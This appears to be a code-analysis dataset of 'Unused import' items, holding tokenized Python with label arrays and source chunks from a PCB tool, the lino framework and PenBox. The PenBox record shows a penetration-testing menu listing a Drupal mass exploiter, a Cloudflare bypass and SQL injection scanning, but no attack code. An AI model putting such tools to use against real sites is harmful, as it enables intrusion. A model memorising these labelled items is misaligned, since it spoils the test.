"_", "._", "get_", "(_", "'", "search", "-", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "search", "\\u", "url_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "content_", "._", "append_", "(_", "'<", "a", " ", "href", "=\"", "%", "s", "%", "s", "\">", "%", "s", "</", "a", ">'_", "%_", "(_", "search", "\\u", "url_", ",_", "number_", ",_", "number_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "content_", "._", "append_", "(_", "number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "quanti", "ty", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "units_", "=_", "len_", "(_", "bom", "\\u", "dict_", "[_", "desc_", "]_", "[_", "'", "ref", "def", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "._", "append_", "(_", "\"%", "s", "\"_", "%_", "(_", "str_", "(_", "units_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "quantity_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "content_", "._", "append_", "(_", "\"%", "s", "\"_", "%_", "(_", "str_", "(_", "units_", "*_", "int_", "(_", "quantity_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "designat", "ors", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Nat", "ural", "/", "human", " ", "sort", " ", "the", " ", "list", " ", "of", " ", "designat", "ors_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sorte", "d\\u", "list_", "=_", "sorted_", "(_", "bom", "\\u", "dict_", "[_", "desc_", "]_", "[_", "'", "ref", "def", "s", "'_", "]_", ",_", "key_", "=_", "natur", "al", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ref", "defs_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ref", "def_", "in_", "sorte", "d\\u", "list_", "[_", ":_", "-_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ref", "defs_", "+=_", "\"%", "s", " ", "\"_", "%_", "ref", "def_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ref", "defs_", "+=_", "\"%", "s", "\"_", "%_", "sorte", "d\\u", "list_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "._", "append_", "(_", "\"%", "s", " ", "\"_", "%_", "ref", "defs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "description", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "._", "append_", "(_", "\"%", "s", " ", "\"_", "%_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "content_", "._", "append_", "(_", "bom", "\\u", "dict_", "[_", "desc_", "]_", "[_", "item_", "[_", "'", "field", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "content_", "._", "append_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "desc_", "==_", "unca", "teg", "\\u", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unca", "teg", "\\u", "content_", "=_", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "desc_", "==_", "dn", "p", "\\u", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "p", "\\u", "content_", "=_", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "'", " ", " ", "<", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "'", " ", " ", " ", " ", "<", "td", " ", "class", "=\"", "tg", "-", "item", "-%", "s", "\">", "%", "s", "</", "td", ">'_", "%_", "(_", "(_", "'", "odd", "'_", ",_", "'", "even", "'_", ")_", "[_", "index_", "%_", "2_", "==_", "0_", "]_", ",_", "item_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "</", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "content_", "in_", "(_", "dn", "p", "\\u", "content_", ",_", "unca", "teg", "\\u", "content_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "'", " ", " ", "<", "tr", " ", "class", "=\"", "tg", "-", "skip", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "</", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "<", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "content_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "[_", "0_", "]_", "=_", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item_", "in_", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "'", " ", " ", " ", " ", "<", "td", " ", "class", "=\"", "tg", "-", "item", "-%", "s", "\">", "%", "s", "</", "td", ">'_", "%_", "(_", "(_", "'", "odd", "'_", ",_", "'", "even", "'_", ")_", "[_", "index_", "%_", "2_", "==_", "0_", "]_", ",_", "item_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "</", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "table", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "p", ">", "Generate", "d", " ", "by", " ", "<", "a", " ", "href", "=\"", "http", "://", "pc", "bm", "ode", ".", "com", "\">", "PC", "Bm", "od", "E", "</", "a", ">", ",", " ", "an", " ", "open", " ", "source", " ", "PC", "B", " ", "design", " ", "software", ".", " ", "PC", "Bm", "od", "E", " ", "was", " ", "writt", "en", " ", "and", " ", "is", " ", "maintain", "ed", " ", "by", " ", "<", "a", " ", "href", "=\"", "http", "://", "bold", "port", ".", "com", "\">", "Bol", "dport", "</", "a", ">", ",", " ", "creat", "ors", " ", "of", " ", "beautif", "ull", "y", " ", "functional", " ", "circuit", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "html", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "bom", "\\u", "html_", ",_", "\"", "wb", "\"_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "line_", "in_", "html_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "line_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "bom", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
lsaffre/lino/lino/modlib/pages/builder.py
[ { "content": "# -*- coding: UTF-8 -*-\n# Copyright 2012-2013 Luc Saffre\n# License: BSD (see file COPYING for details)\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n#~ import datetime\nfrom django.conf import settings\n#~ from lino.utils.instantiator import Instantiator\n\nfrom lino.api import dd, rt\nfrom lino.utils import AttrDict\nfrom lino.utils.restify import restify\nfrom lino.utils.restify import doc2rst\n\n#~ PAGES = {}\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def babelfield(name, language):\n if language == settings.SITE.DEFAULT_LANGUAGE.django_code:\n return name\n return name + '_' + language", "metadata": "root.babelfield", "header": "['module', '___EOS___']", "index": 19 }, { "content": "def page(ref, language, title, body, parent=None, raw_html=False):\n if not settings.SITE.get_language_info(language):\n return\n pages = dd.resolve_app('pages', strict=True)\n obj = pages.lookup(ref, None)\n #~ obj = PAGES.get(ref)\n if parent is not None:\n parent = pages.lookup(parent)\n if obj is None:\n #~ kw = dict(,parent=parent)\n obj = pages.create_page(ref=ref)\n #~ PAGES[ref] = obj\n #~ if not ref:\n #~ logger.info(\"20130109 define index page %r --> %r\",language,body)\n #~ else:\n #~ if not ref:\n #~ logger.info(\"20130109 override index page %r --> %r\",language,body)\n\n setattr(obj, 'raw_html', raw_html)\n setattr(obj, 'parent', parent)\n setattr(obj, babelfield('title', language), title)\n setattr(obj, babelfield('body', language), body.strip())\n # must save it already here so that subsequent pages of the same fixture\n # can use it as parent.\n obj.full_clean()\n obj.save()\n #~ obj.update(babelfield('body',**{language:body}))\n #~ logger.info(\"20121227 builder.page(%r,%r,%r) -> %s\",ref,language,title,obj.keys())\n #~ obj.title.texts[language] = title\n #~ obj.body.texts[language] = body", "metadata": "root.page", "header": "['module', '___EOS___']", "index": 25 }, { "content": "def objects():\n yield settings.SITE.site_config\n if False:\n global PAGES\n #~ print 20121227, __file__, [obj['ref'] for obj in PAGES.values()]\n rv = []\n for obj in list(PAGES.values()):\n yield obj\n #~ rv.append()\n\n PAGES = {}\n #~ return rv", "metadata": "root.objects", "header": "['module', '___EOS___']", "index": 57 } ]
[ { "span": "from lino.api import dd, rt", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 27 }, { "span": "from lino.utils import AttrDict", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 31 }, { "span": "from lino.utils.restify import restify", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 38 }, { "span": "from lino.utils.restify import doc2rst", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 38 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "UT", "F", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2012", "-", "2013", " ", "Luc", " ", "Saf", "fre", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "BS", "D", " ", "(", "see", " ", "file", " ", "COPY", "ING", " ", "for", " ", "deta", "il", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "import", " ", "datetime_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "from", " ", "lino", ".", "util", "s", ".", "instant", "iat", "or", " ", "import", " ", "Instant", "iat", "or_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lino", "_", "._", "api_", "import_", "dd_", ",_", "rt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "utils_", "import_", "Attr", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "utils_", "._", "rest", "ify_", "import_", "rest", "ify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "utils_", "._", "rest", "ify_", "import_", "doc2", "rst_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "PAGE", "S", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "babel", "field_", "(_", "name_", ",_", "language_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "language_", "==_", "settings_", "._", "SITE", "_", "._", "DEF", "AUL", "T", "\\u", "LANGUAGE", "_", "._", "django", "\\u", "code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "name_", "+_", "'\\u'_", "+_", "language_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "page_", "(_", "ref_", ",_", "language_", ",_", "title_", ",_", "body_", ",_", "parent_", "=_", "None_", ",_", "raw", "\\u", "html_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "settings_", "._", "SITE", "_", "._", "get", "\\u", "language", "\\u", "info_", "(_", "language_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pages_", "=_", "dd_", "._", "resolve", "\\u", "app_", "(_", "'", "page", "s", "'_", ",_", "strict_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "pages_", "._", "lookup_", "(_", "ref_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "obj", " ", "=", " ", "PAGE", "S", ".", "get", "(", "ref", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "parent_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "pages_", "._", "lookup_", "(_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "obj_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "kw", " ", "=", " ", "dict", "(", ",", "parent", "=", "parent", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "pages_", "._", "create", "\\u", "page_", "(_", "ref_", "=_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "PAGE", "S", "[", "ref", "]", " ", "=", " ", "obj_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "if", " ", "not", " ", "ref", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "logg", "er", ".", "info", "(\"", "20130", "109", " ", "defin", "e", " ", "index", " ", "page", " ", "%", "r", " ", "-->", " ", "%", "r", "\",", "language", ",", "body", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "if", " ", "not", " ", "ref", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "logg", "er", ".", "info", "(\"", "20130", "109", " ", "override", " ", "index", " ", "page", " ", "%", "r", " ", "-->", " ", "%", "r", "\",", "language", ",", "body", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setattr_", "(_", "obj_", ",_", "'", "raw", "\\u", "html", "'_", ",_", "raw", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "obj_", ",_", "'", "parent", "'_", ",_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "obj_", ",_", "babel", "field_", "(_", "'", "title", "'_", ",_", "language_", ")_", ",_", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "obj_", ",_", "babel", "field_", "(_", "'", "body", "'_", ",_", "language_", ")_", ",_", "body_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "must", " ", "save", " ", "it", " ", "alr", "ead", "y", " ", "here", " ", "so", " ", "tha", "t", " ", "subsequen", "t", " ", "page", "s", " ", "of", " ", "the", " ", "same", " ", "fixture_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", " ", "use", " ", "it", " ", "as", " ", "parent", "._", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "._", "full", "\\u", "clean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "obj", ".", "update", "(", "babel", "field", "('", "body", "',", "**", "{", "language", ":", "body", "}))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "logg", "er", ".", "info", "(\"", "2012", "122", "7", " ", "builde", "r", ".", "page", "(%", "r", ",%", "r", ",%", "r", ")", " ", "->", " ", "%", "s", "\",", "ref", ",", "language", ",", "title", ",", "obj", ".", "keys", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "obj", ".", "title", ".", "texts", "[", "language", "]", " ", "=", " ", "title_", "\\u\\u\\uNL\\u\\u\\u_", "#", "~", " ", "obj", ".", "body", ".", "texts", "[", "language", "]", " ", "=", " ", "body_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "objects_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "settings_", "._", "SITE", "_", "._", "site", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "PAGE", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "print", " ", "2012", "122", "7", ",", " ", "\\u\\u", "file", "\\u\\u", ",", " ", "[", "obj", "['", "ref", "']", " ", "for", " ", "obj", " ", "in", " ", "PAGE", "S", ".", "values", "()]", "_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "list_", "(_", "PAGE", "S_", "._", "values_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "rv", ".", "append", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PAGE", "S_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "return", " ", "rv_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
x3omdax/PenBox/Versions/V1.1/penbox.py
[ { "content": "#!/usr/bin/env python2.7\n#\n# All In One Tool For Penetration Testing \n# Authors : Fedy Wesleti , Mohamed Nour \n#\nimport sys\nimport os\nimport httplib\nimport subprocess\nimport re, urllib2\nimport socket\nimport urllib,sys,json\nfrom commands import *\nfrom platform import system\nfrom urlparse import urlparse\n########################## \n#Variables\nyes = set(['yes','y', 'ye', 'Y'])\nno = set(['no','n'])\n##########################\n#this is the big menu funtion \n##########################\n#Host 2 ip\n##########################\n#ports\n##########################\n#inurlbr\n####################################\n####################################\n####################################\n#nmap function \n####################################\n#jboss-autopwn\n####################################\n#sqlmap \n####################################\n#setoolkit \n####################################\n#cupp \n####################################\n#ncrack \n####################################\n#reaver\n####################################\n#sslstrip\n####################################\n#shellnoob\n#####################################\n#information gathering function\n##########################\n#password attacks menu \n##########################\n#wireless attacks\n##########################\n#exploitation tools\n###########################\n#sniffing tools\n##########################\n#if Os is Windows \n #Check use OS\n##########################\n############################\n#check root if linux \n#############################\n#priv8 menu \nmenuu = \"\"\"\n 1) Get all websites\n 2) Get joomla websites\n 3) Get wordpress websites\n 4) Find control panel\n 5) Find zip files\n 6) Find upload files\n 7) Get server users\n 8) Scan from SQL injection\n 9) Crawl and scan from SQL injection\n 10) Scan ports (range of ports)\n 11) Scan ports (common ports)\n 12) Get server banner\n 13) Bypass Cloudflare\n 99) Exit\n\"\"\"\n#############################\n#grab function \n############################\n#clear screen function \n############################\n############################\n\n\nminu ='''\n\\t 1: Drupal Bing Exploiter\n\\t 2: Get Drupal Websites\n\\t 3: Drupal Mass Exploiter\n\\t 99: Back To Main Menu\n'''\n\n\n #Definition Of Drupal Bing Expoliter \n\n \n\n#initialise the tnscan function \n############################\n#begin :D \nif __name__ == \"__main__\":\n OS()\n \n \n \n \n \n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def logo():\n print \"\"\"\n ######## ######## ## ## ######## ####### ## ## \n ## ## ## ### ## ## ## ## ## ## ## \n ## ## ## #### ## ## ## ## ## ## ## \n ######## ###### ## ## ## ######## ## ## ### \n ## ## ## #### ## ## ## ## ## ## \n ## ## ## ### ## ## ## ## ## ## \n ## ######## ## ## ######## ####### ## ## v1.0 \n Pentesting Tools Auto-Downloader \n \n [+] Coded BY Mohamed Nour & Fedy Weslety [+] \n [+] FB/CEH.TN ~~ FB/mohamed.zeus.0 [+] \n [+] Greetz To All Pentesters [+] \n\"\"\"", "metadata": "root.logo", "header": "['module', '___EOS___']", "index": 19 }, { "content": "def menu():\n print (\"\"\"\n ######## ######## ## ## ######## ####### ## ## \n ## ## ## ### ## ## ## ## ## ## ## \n ## ## ## #### ## ## ## ## ## ## ## \n ######## ###### ## ## ## ######## ## ## ### \n ## ## ## #### ## ## ## ## ## ## \n ## ## ## ### ## ## ## ## ## ## \n ## ######## ## ## ######## ####### ## ## v1.0 \n Pentesting Tools Auto-Downloader \n \n [+] Coded BY Mohamed Nour & Fedy Weslety [+] \n [+] FB/CEH.TN ~~ FB/mohamed.zeus.0 [+] \n [+] Greetz To All Pentesters [+] \n\n Select from the menu:\n\n 1 : Information Gathering\n 2 : Password Attacks\n 3 : Wireless Testing\n 4 : Exploitation Tools\n 5 : Sniffing & 